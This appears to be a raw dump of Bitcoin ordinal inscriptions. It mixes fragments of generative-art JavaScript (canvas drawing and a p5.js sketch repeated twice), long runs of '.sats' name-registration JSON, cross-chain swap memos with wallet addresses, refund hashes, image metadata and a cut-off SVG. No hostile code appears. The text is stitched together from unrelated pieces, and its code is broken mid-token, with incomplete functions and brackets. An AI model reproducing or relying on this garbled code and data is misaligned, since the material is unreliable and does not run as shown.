{rx1[rc]=x1;ry1[rc]=y1;rx2[rc]=x2;ry2[rc]=y2;rx3[rc]=x3;ry3[rc]=y3;rc++; } else {tx1[tc]=x1;ty1[tc]=y1;tx2[tc]=x2;ty2[tc]=y2;tx3[tc]=x3;ty3[tc]=y3;tc++;} if(bmp>15){bmp=0; x3=y3=500;x1=rir(500,500+tr);y1=rir(500,500+tr);x2=rir(500,500-tr);y2=rir(500,500-M triharder(x3,y3, x1,y1); if(ri(100)>20) triharder(x3,y3, x2,y2); const autoDownloadCanvas = async () => { const element = document.createElement('a') element.setAttribute('download',`Angular-${ofw}x${ofh}-${seed}`) element.style.display = 'none' document.body.appendChild(element) let imageBlob = null imageBlob = await new Promise(resolve => document.getElementById('target').toBlob(resolve, 'image/png')) element.setAttribute('href', window.URL.createObjectURL(imageBlob, { document.body.removeChild(element) document.addEventListener('keypress', async (e) => { e = e || window.event if (e.key === 's') autoDownloadCanvas() if (e.key === 'h') { rz++;if(rz>5)rz=1;drp=0;gi=0;gj=0;await layoutCanvas() } function drawEllipse(ctx,x,y,rx,ry,fill) { ctx.ellipse(x, y, rx, ry, 0, 0, 2 * Math.PI); if (fill) {ctx.fillStyle = fill;ctx.fill();} function dl(ctx,lx,ly,ex,ey,stroke,width) { if (stroke) {ctx.strokeStyle = stroke;} if (width) { ctx.linM ctx.beginPath();ctx.moveTo(lx,ly);ctx.lineTo(ex,ey);ctx.stroke(); if(cp==12)artcols=['#EDECE0','#303030','#880808']; if(cp==0) artcols=['#F0BEB2','#F25B40','#3A8D3B']; if(cp==11)artcols=['#4F97BA','#F9E1B5','#BD2C41']; if(cp==1) artcols=['#25201E','#D3A252','#686C22']; if(cp==2) artcols=['#B4CBCA','#1F5FB3','#355026']; if(cp==3) artcols=['#D1C7C5','#6E5247','#8D695D']; if(cp==4) artcols= ['#E4DBBE','#8BB8B3','#AF799A']; if(cp==5) artcols= ['#B8B8B3','#474747','M if(cp==6) artcols= ['#A6B2C7','#323642','#394A69']; if(cp==7) artcols= ['#E6E6E4','#343523','#B2B2AD']; if(cp==8) artcols= ['#A9A18E','#706B5C','#606A4D']; if(cp==9) artcols= ['#EDECE0','#944645','#F25D34']; if(cp==10) artcols= ['#9FA6A4','#77694E','#B54933']; function ri( x){ return Math.floor(mathRand()*x);} function rir(x,y){ let nr = (y - x) ; return Math.floor((mathRand()*nr) + x); } text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11059.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"beidou.sats"}h! text/plain;charset=utf-8 "name": "-111.sats" text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"868686.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11057.sats"}h! text/plain;charset=utf-8 /{"p":"sns","op":"reg","name":"6666688888.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11058.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"chongyun.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"66668888.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11056.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"bennett.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"aloy.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"68686868.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"atj.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"asc.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"atw.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"aqw.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"aso.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"axu.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"asu.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"aqs.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"azc.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"axv.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"atk.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"azt.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"ats.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"azr.sats"}h! text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":"realmadridcf.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"pea.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"czk.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"sek.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11052.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11055.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"jpy.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4392.sats"}h! text/plain;charset=utf-8 0{"p":"sns","op":"reg","name":"aiassistant.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4328.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4372.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"msai.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4358.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4378.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4370.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4356.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4352.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11051.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"isk.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4360.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4362.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4398.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"cma.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4390.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"gpuai.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4382.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4368.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4376.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"lake.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11054.sats"}h! text/plain;charset=utf-8 /{"p":"sns","op":"reg","name":"Love text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"aed.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4386.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4380.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"googleai.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5986.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11053.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"metaai.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4396.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"No.1.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"kingdog.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"holdbtc.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"dogking.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"justin.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"metalink.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"tothemoon.sats"}h! text/plain;charset=utf-8 '{"p":"sns","op":"reg","name":"cz.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"19415.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"33524.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"52676.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"46270.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"25009.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"56289.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"61087.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"82853.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"50341.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"46811.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"77916.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"84186.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"14088.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"20106.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"63191.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"29475.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"87545.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"62894.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"50997.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"37315.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"81724.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"79242.sats"}h! text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":"deeplearning.sats"}h! text/plain;charset=utf-8 4{"p":"sns","op":"reg","name":"machinelearning.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11061.sats"}h! text/plain;charset=utf-8 0{"p":"sns","op":"reg","name":"datascience.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11060.sats"}h! text/plain;charset=utf-8 Aj?=:ETH.ETH:0x9D13cFe555627648cB1299d2A30Cc3123CFf81aA:4159316::0 text/plain;charset=utf-8 0{"p":"sns","op":"reg","name":"nonordinals.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"fischl.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"gorou.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"hutao.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"diluc.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"diona.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"ganyu.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"eula.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"93426.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"55807.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"58542.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"45865.sats"}h! Aj?=:ETH.ETH:0x6C5c2cB15E4575566D876a46f8a5CBeFC595A931:1846681::0 text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"children.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"weapon.sats"}h! text/plain;charset=utf-8 "name": "46664.sats" text/plain;charset=utf-8 "name": "68688.sats" text/plain;charset=utf-8 "name": "21bitcoin.sats" text/plain;charset=utf-8 "name": "49994.sats" text/plain;charset=utf-8 "name": "90003.sats" text/plain;charset=utf-8 "name": "jams.sats" text/plain;charset=utf-8 "name": "-201.sats" text/plain;charset=utf-8 "name": "relai.sats" text/plain;charset=utf-8 "name": "7454188.sats" text/plain;charset=utf-8 "name": "9628.sats" text/plain;charset=utf-8 "name": "mam.sats" text/plain;charset=utf-8 CjA=:ETH.ETH:0x1e3e486889050181e4C49b012fc33BA6C5D4f7C4:1332764:te:0 DjB=:BNB.BNB:bnb18z5npc7kajn2w95allxz4jrkkn8gzx08pm5gx4:26651588:te:0 text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"Xterio.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"Nation3.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"wiw.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"chr.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"Ferragamo.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"Sisley.sats"}h! Bj@=:ETH.ETH:0x84258ec2d277fFf4Ae81Cfc6621D737bFEDF5536:11127248::0 Bj@=:ETH.ETH:0xEb5e255b8Da589B9f3f7a6e65511629843023c4C:38396917::0 EjC=:BNB.BTCB-1DE:bnb1uplxfsg80xta77gdrdndlqj6sprhnyzrsm8405:207484::0 KjI=:BNB.TWT-8C2:bnb1ug7vxc5rpap4nr3urcnzgtd04p36qezcyd9fhh:19281957472:te:0 text/plain;charset=utf-8 "name": "abba.sats" d/Foundry USA Pool #dropgold/ IjGREFUND:DCC9C31C6D50AF8551F90481D35F96C79C4C0F9E6B3EF84731A0B28A8E35953F text/html;charset=utf-8 <meta charset="UTF-8"> <title>outscripted by mataleone</title> <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script> <script id="snippet-contract-code" type="text/javascript"> const tokenIdRand = (Math.floor(Math.random() * 1000000) + 1) * 1000000 + (Math.floor(Math.random() * 100) + 1); "tokenId": tokenIdRand, "seed": tokenIdRand.toString(), pt id="snippet-random-code" type="text/javascript"> let seed = window.location.href.split('/').find(t => t.includes('i0')); if (seed == null) { const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i < seed.length - pattern.length; ++i) { if (seed.substring(i, i + pattern.length) == pattM seed = seed.substring(i + pattern.length); function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), lM = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { u >>>= 0, i >>>= 0; var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 let mathRand = sfc32(...cyrb128(seed)); background-color: #000; width: 100% !important; height: 100% !important; object-fit: contain; <script type="text/javascript"> const _lerp = (f, min, max) => (min + (max - min) * f) const _map = (v, inMin, inMax, outMin, outMax) => (outMin + (outMax - outMin) * ((v - inMin) / (inMax - inMin))) ['#332440', 'berry'], ['#1E2F36', 'sea'], ['#36261E', 'earth'], ['#1E2036', 'deep'], ['#1E3623', 'forest'], ['#FFE0C2', 'sand'], ['#FFE0C2', 'sand'], ['#FFCA9C', 'koi'], ['#C2FcFF', 'sky'], ['#FFFDBC', 'mustard'], let _bg = Math.floor(mathRand() * bgs.length) let _clr = Math.floor(mathRand() * clrs.length) let _q = Math.floor(_lerp(mathRand(), _q_min, _q_max + 1)) Math.floor(_lerp(mathRand(), _r_min, _r_max + 1)) let _a = Math.floor(mathRand() * 5) // <+ let _ins = Math.floor(_lerp(mathRand(), _ins_min, _ins_max + 1)) let _worm_max = _r * 2 let _worm = _lerp(mathRand(), 0, _worm_max) window.$generativeTraits = { "background color": bgs[_bg][1], "incsriptions color": clrs[_clr][1], "inscriptions size": _r, "inscriptions complexity": _ins, "disconformity": Math.floor(M _map(_worm, 0, _worm_max, 0, 11)), console.log(seed, window.$generativeTraits) let _paused = false function setup() { createCanvas(2160, 2160) background(bgs[_bg][0]) function draw() { if (_paused) return background(bgs[_bg][0]) let _c = color(clrs[_clr][0]) for (let i = 0; i < _q * 10000; ++i) { const x = _randPos() const y = _randPos() let al = map(_q, _q_min, _q_max, 128, 64) star(x, y, _r, _ins) function _randPos() { const a = mathRand() * Math.PI + Math.PI let p = Math.cos(a) // p = (1-Math.abs(p))*Math.sign(p) let w = width / 2 return w + _map(p, -1, 1, -w - _worm, w + _worm) function star(cx, cy, r, c) { let n = noise(cx / sc, cy / sc) let _cx = cx + sin(n * Math.PI * 2) * _worm let _cy = cy + cos(n * Math.PI * 2) * _worm let ixs = [...Array(c).keys()] while (ixs.length > 0) { const i = Math.floor(mathRand() * ixs.length) const a = ixs[i] * ((Math.PI * 2) / c) + (Math.PI / 4) * _a vertex(_cx + sin(a) * r, _cy + cos(a) * r) ixs.splice(i, 1) function keyPressed() { if (keyCode == 32) _paused = false if (keyCode == 83) save('outscripted.png') text/html;charset=utf-8 <meta charset="UTF-8"> <title>outscripted by mataleone</title> <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script> <script id="snippet-contract-code" type="text/javascript"> const tokenIdRand = (Math.floor(Math.random() * 1000000) + 1) * 1000000 + (Math.floor(Math.random() * 100) + 1); "tokenId": tokenIdRand, "seed": tokenIdRand.toString(), pt id="snippet-random-code" type="text/javascript"> let seed = window.location.href.split('/').find(t => t.includes('i0')); if (seed == null) { const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i < seed.length - pattern.length; ++i) { if (seed.substring(i, i + pattern.length) == pattM seed = seed.substring(i + pattern.length); function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), lM = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { u >>>= 0, i >>>= 0; var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 let mathRand = sfc32(...cyrb128(seed)); background-color: #000; width: 100% !important; height: 100% !important; object-fit: contain; <script type="text/javascript"> const _lerp = (f, min, max) => (min + (max - min) * f) const _map = (v, inMin, inMax, outMin, outMax) => (outMin + (outMax - outMin) * ((v - inMin) / (inMax - inMin))) ['#332440', 'berry'], ['#1E2F36', 'sea'], ['#36261E', 'earth'], ['#1E2036', 'deep'], ['#1E3623', 'forest'], ['#FFE0C2', 'sand'], ['#FFE0C2', 'sand'], ['#FFCA9C', 'koi'], ['#C2FcFF', 'sky'], ['#FFFDBC', 'mustard'], let _bg = Math.floor(mathRand() * bgs.length) let _clr = Math.floor(mathRand() * clrs.length) let _q = Math.floor(_lerp(mathRand(), _q_min, _q_max + 1)) Math.floor(_lerp(mathRand(), _r_min, _r_max + 1)) let _a = Math.floor(mathRand() * 5) // <+ let _ins = Math.floor(_lerp(mathRand(), _ins_min, _ins_max + 1)) let _worm_max = _r * 2 let _worm = _lerp(mathRand(), 0, _worm_max) window.$generativeTraits = { "background color": bgs[_bg][1], "incsriptions color": clrs[_clr][1], "inscriptions size": _r, "inscriptions complexity": _ins, "disconformity": Math.floor(M _map(_worm, 0, _worm_max, 0, 11)), console.log(seed, window.$generativeTraits) let _paused = false function setup() { createCanvas(2160, 2160) background(bgs[_bg][0]) function draw() { if (_paused) return background(bgs[_bg][0]) let _c = color(clrs[_clr][0]) for (let i = 0; i < _q * 10000; ++i) { const x = _randPos() const y = _randPos() let al = map(_q, _q_min, _q_max, 128, 64) star(x, y, _r, _ins) function _randPos() { const a = mathRand() * Math.PI + Math.PI let p = Math.cos(a) // p = (1-Math.abs(p))*Math.sign(p) let w = width / 2 return w + _map(p, -1, 1, -w - _worm, w + _worm) function star(cx, cy, r, c) { let n = noise(cx / sc, cy / sc) let _cx = cx + sin(n * Math.PI * 2) * _worm let _cy = cy + cos(n * Math.PI * 2) * _worm let ixs = [...Array(c).keys()] while (ixs.length > 0) { const i = Math.floor(mathRand() * ixs.length) const a = ixs[i] * ((Math.PI * 2) / c) + (Math.PI / 4) * _a vertex(_cx + sin(a) * r, _cy + cos(a) * r) ixs.splice(i, 1) function keyPressed() { if (keyCode == 32) _paused = false if (keyCode == 83) save('outscripted.png') text/plain;charset=utf-8 text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"bitcoin.sats"}h! IjGREFUND:E2D2D5E091E8CD38642806DBAFBDD0150F10A2A99B084AAD6C5CF63A22BCB406 iTXtXML:com.adobe.xmp " id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:60277824B91E11ED81F8DF8M 242A3D1DA" xmpMM:InstanceID="xmp.iid:60277823B91E11ED81F8DF8242A3D1DA" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="F7C21EE4F535C576BE57A99D0CCB9D9D" stRef:documentID="F7C21EE4F535C576BE57A99D0CCB9D9D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?> text/plain;charset=utf-8 IjGREFUND:B6E4AA0A4F5981D1F612E537DD480F80CFFF5D1D0A9F68007B83CF24C34361DA IjGREFUND:017FC1A3CC336867FFE7A8084F184D0D01276B1D61E4AF96463286EB15CC882D text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"lumine.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"razor.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"sucrose.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"alhaitham.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"dori.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"faruzan.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"cyno.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"wanderer.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"noelle.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"thoma.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"dehya.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"klee.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"nahida.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"keqing.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"venti.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"nilou.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"collei.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"tartaglia.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"ayato.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"ayaka.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"layla.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"kokomi.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"kazuha.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"kaeya.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"rasaria.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"tighnari.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"111.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"333.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"666.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"888.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"555.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"222.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"777.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"999.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"444.sats"}h! text/plain;charset=utf-8 0{"p":"sns","op":"reg","name":"areyouthere.sats"}h! text/plain;charset=utf-8 "name": "aca.sats" text/plain;charset=utf-8 "name": "ren.sats" <svg style="background-color:4F8294" shape-rendering="crispEdges" viewBox="0 -0.5 62 50" xmlns="http://www.w3.org/2000/svg"><path stroke="#000" d="M23 2h6m-9 1h3m6 0h3M16 4h4m12 0h2M13 5h3m18 0h3M10 6h3m24 0h2M7 7h3m29 0h2M4 8h3m34 0h2M2 9h2m39 0h2M1 10h1m43 0h3M1 11h1m46 0h2M1 12h2m47 0h2M1 13h1m1 0h1m48 0h2M1 14h1m2 0h1m49 0h2M1 15h1m3 0h1m50 0h2M2 16h1m3 0h2m50 0h2M3 17h2m3 0h1m51 0h1M3 18h1m1 0h1m3 0h1m50 0h1M3 19h1m2 0h1m3 0h1m49 0h1M3 20h1m3 0h1m3 0h2m46 0h2M3 21h1m4 0h1m4 0h1m43 0h2m1 0h1M3 22h1m5 0h2m3 0h1mM 40 0h2m3 0h1M3 23h1m7 0h1m3 0h2m36 0h2m5 0h1M4 24h1m7 0h1m4 0h1m33 0h2m7 0h1M5 25h1m7 0h2m3 0h1m30 0h2m8 0h1M6 26h1m8 0h1m3 0h2m26 0h2m9 0h1M7 27h1m8 0h1m4 0h1m23 0h2m9 0h3M8 28h1m8 0h1m4 0h1m20 0h2m9 0h2m2 0h1M9 29h2m7 0h2m3 0h2m16 0h2m9 0h2m4 0h1m-48 1h1m8 0h1m4 0h1m13 0h2m9 0h2m6 0h1m-47 1h1m8 0h1m4 0h2m9 0h2m9 0h2m8 0h1m-46 1h1m8 0h1m5 0h9m9 0h2m10 0h1m-45 1h1m8 0h2m19 0h2m12 0h1m-44 1h2m8 0h1m16 0h2m13 0h1m-41 1h1m8 0h1m13 0h2m13 0h2m-39 1h1m8 0h2m8 0h3m13 0h2m-36 1h1m9 0h8m14 0h2m-33 1h2m28 0h1m-29 1h1m25 0h2M m-27 1h1m22 0h2m-24 1h1m19 0h2m-21 1h1m17 0h1m-18 1h2m13 0h2m-15 1h1m10 0h2m-12 1h2m6 0h2m-8 1h6"></path><path stroke="#cfc4ae" d="m23 3h6m-9 1h1m-5 1h1m-4 1h1m-4 1h1m-9 3h1m-1 1h1m1 1h1m2 2h1m0 1h1m47 16h1m-1 1h1m-9 3h1m-3 1h1"></path><path stroke="#bfb8a7" d="M21 4h1m9 0h1M17 5h2m14 0h1M14 6h1m2 0h1m3 0h1m14 0h1M24 7h1m13 0h1M7 8h1m3 0h1m3 0h1m24 0h1M4 9h1m14 0h1M7 10h1m5 0h1M3 11h1m5 0h1m-5 1h1m4 0h1m-6 1h2m3 3h1m0 1h1m0 1h1m42 13h1m-3 1h3m-5 1h5m-7 1h6m-8 1h1m1 0h4m-6 1h4m-7 1h5m-7 1h1m1 0h4m-7 1h1m1 0h1m1 0h1mM -5 1h1m1 0h1m-5 1h1m2 0h1m-3 1h1"></path><path stroke="#b2a898" d="M22 4h9M19 5h14M15 6h2m1 0h3m1 0h14M11 7h13m1 0h13M8 8h3m1 0h3m1 0h17m1 0h1m3 0h1M5 9h14m1 0h10m1 0h1m1 0h1m1 0h3m1 0h1m2 0h1M3 10h4m1 0h5m1 0h17m1 0h1m1 0h1M4 11h5m1 0h18m1 0h1m1 0h1m1 0h1m1 0h1m1 0h1m1 0h1M3 12h1m2 0h4m1 0h16m1 0h1m1 0h1m1 0h1M7 13h16m1 0h1m2 0h1m1 0h1m1 0h1m3 0h1M6 